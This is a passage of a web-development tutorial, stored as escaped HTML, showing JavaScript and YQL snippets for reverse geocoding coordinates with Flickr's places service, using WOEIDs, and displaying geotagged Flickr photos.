&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;13&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;alert(&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;ouch&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;14&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;});&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;15&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;a href=&quot;http://isithackday.com/hacks/geo/js-w3c-location.html&quot;&gt;Compare the IP and W3C solutions&lt;/a&gt;  side by side. As you can see, there can be quite a difference in  measuring the visitor’s location. The extent of the difference is &lt;a href=&quot;http://isithackday.com/hacks/geo/distance.php&quot;&gt;shown in the following demo&lt;/a&gt;:&lt;br /&gt;
&lt;a href=&quot;http://isithackday.com/hacks/geo/distance.php&quot;&gt;&lt;img alt=&quot;Difference between IP location and W3C Geo API location&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/difference.jpg&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;h3&gt;Converting Latitude And Longitude Back Into A Name&lt;/h3&gt;Having more information is nice, but we have lost the name of the  city and all the other nice data that came with the Maxmind database.  Because the location has changed, we cannot just grab that old data; we  have to find a way to convert latitude and longitude coordinates into a  name. This process is called “&lt;a href=&quot;http://en.wikipedia.org/wiki/Reverse_geocoding&quot;&gt;reverse geo-coding&lt;/a&gt;,” and several services on the Web allow you to do it. Probably the most well-known is &lt;a href=&quot;http://www.geonames.org/export/reverse-geocoding.html&quot;&gt;the geo-names Web service&lt;/a&gt;, but it has a few issues. For starters, the results are very US-centric.&lt;br /&gt;
One freely available but lesser-known reverse geo-coder that works worldwide comes from a surprising source: Flickr. The &lt;a href=&quot;http://www.flickr.com/services/api/flickr.places.findByLatLon.html&quot;&gt;flickr.places.findByLatLon&lt;/a&gt; service returns a location from a latitude and longitude coordinates. You can &lt;a href=&quot;http://www.flickr.com/services/api/explore/?method=flickr.places.findByLatLon&quot;&gt;try it out in the app explorer&lt;/a&gt;, but by far the easiest way to use it is by using the &lt;a href=&quot;http://developer.yahoo.com/yql&quot;&gt;Yahoo Query Language&lt;/a&gt;  (or YQL). YQL deserves its own article, but let’s just say that,  instead of having to authenticate with the Flickr API and read the docs,  reverse geo-coding becomes as easy as this:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_407081&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;select * from flickr.places where lat=37.416115 and lon=-122.0245671&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;Using the YQL Web service, you can &lt;a href=&quot;http://query.yahooapis.com/v1/public/yql?q=select%20*%20from%20flickr.places%20where%20lat%3D%2237.416115%22%20and%20lon%3D-122.0245671&amp;amp;format=xml&quot;&gt;get the result back as XML&lt;/a&gt; or JSON. So, to use the service in JavaScript, all you need is the following:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_391731&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;01&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;script type=&quot;&amp;lt;/code&quot;&gt;
&lt;code class=&quot;string&quot;&gt;&quot;text/javascript&quot;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;charset=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;utf-8&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;02&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;function&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;getPlaceFromFlickr(lat,lon,callback){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;03&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// the YQL statement&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;04&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;yql = &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;select * from flickr.places where lat=&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;+lat+&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39; and lon=&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;+lon;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;05&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;06&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// assembling the YQL webservice API&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;07&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;url = &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;a href=&quot;http://query.yahooapis.com/v1/public/yql?q=&quot;&gt;http://query.yahooapis.com/v1/public/yql?q=&lt;/a&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;+&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;08&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;encodeURIComponent(yql)+&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&amp;amp;format=json&amp;amp;diagnostics=&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;+&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;09&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;false&amp;amp;callback=&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;+callback;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;10&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;11&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// create a new script node and add it to the document&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;12&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;s = document.createElement(&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;script&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;13&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;s.setAttribute(&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;src&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,url);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;14&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;document.getElementsByTagName(&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;head&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;)[0].appendChild(s);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;15&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;};&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;16&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;17&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// callback in case there is a place found&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;18&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;function&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;output(o){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;19&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;if&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;typeof&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(o.query.results.places.place) != &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;undefined&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;20&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;alert(o.query.results.places.place.name);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;21&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;22&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;23&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;24&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// call the function with my current lat/lon&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;25&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;getPlaceFromFlickr(37.416115,-122.02456,&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;output&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;26&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;
&lt;/script&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;Combine that with the other services, and we get a &lt;a href=&quot;http://isithackday.com/hacks/geo/distance-info.php&quot;&gt;more detailed result and can put a name to the coordinates&lt;/a&gt;:&lt;br /&gt;
&lt;a href=&quot;http://isithackday.com/hacks/geo/distance-info.php&quot;&gt;&lt;img alt=&quot;adding the flickr reverse geocode we can get a name for a lat and lon pair&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/reversegeocode.jpg&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;h3&gt;The Trouble With Latitude And Longitude&lt;/h3&gt;While latitude and longitude coordinates are a good way to describe a  location on Earth, it is also ambiguous. The coordinates could  represent either the centre of a city or a point of interest (such as a  museum or a pub) in that spot.&lt;br /&gt;
&lt;h4&gt;WOEID to the Rescue&lt;/h4&gt;To work around the problem, Yahoo and Flickr (and soon will &lt;a href=&quot;http://apiwiki.twitter.com/Twitter-REST-API-Method:-trends-location&quot;&gt;Twitter&lt;/a&gt;) support another way to pinpoint a location. The &lt;a href=&quot;http://developer.yahoo.com/geo/geoplanet/guide/concepts.html&quot;&gt;Where On Earth Identifier&lt;/a&gt;  (or WOEID) is a more granular way to describe locations on Earth.  Because Flickr supports it, we can easily get get photos from a  particular area:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_939101&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;select&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;* &lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;from&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;flickr.photos.search &lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;where&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;woe_id &lt;/code&gt;&lt;code class=&quot;color1&quot;&gt;in&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;select&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;place.woeid &lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;from&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;flickr.places &lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;where&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;lat=37.416115 &lt;/code&gt;&lt;code class=&quot;color1&quot;&gt;and&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;lon=-122.02456&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;3&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;)&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;Using this and &lt;a href=&quot;http://isithackday.com/hacks/geo/flickr-yql-reverse-geocoding-photos.html&quot;&gt;a few lines of JavaScript&lt;/a&gt;, showing geo-located photos is pretty easy:&lt;br /&gt;
&lt;a href=&quot;http://isithackday.com/hacks/geo/flickr-yql-reverse-geocoding-photos.html&quot;&gt;&lt;img alt=&quot;Photos from a geographical location using YQL and Flickr&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/geolocated-photos.jpg&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
This has also been wrapped in a &lt;a href=&quot;http://isithackday.com/hacks/geo/yql-photolist.html&quot;&gt;simple-to-use YQL solution&lt;/a&gt;. The following code will display 10 photos of Paris:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_371127&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;01&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;script&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;02&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;function photos(o){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;03&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;var container = document.getElementById(&#39;photos&#39;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;04&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;container.innerHTML = o.results;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;05&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;06&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;!--&lt;/code--&gt;&lt;code class=&quot;keyword&quot;&gt;script&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;07&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;script&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;src=&quot;&lt;a href=&quot;http://query.yahooapis.com/v1/public/yql?&quot;&gt;http://query.yahooapis.com/v1/public/yql?&lt;/a&gt;&lt;/code&gt;&lt;code class=&quot;color1&quot;&gt;q&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
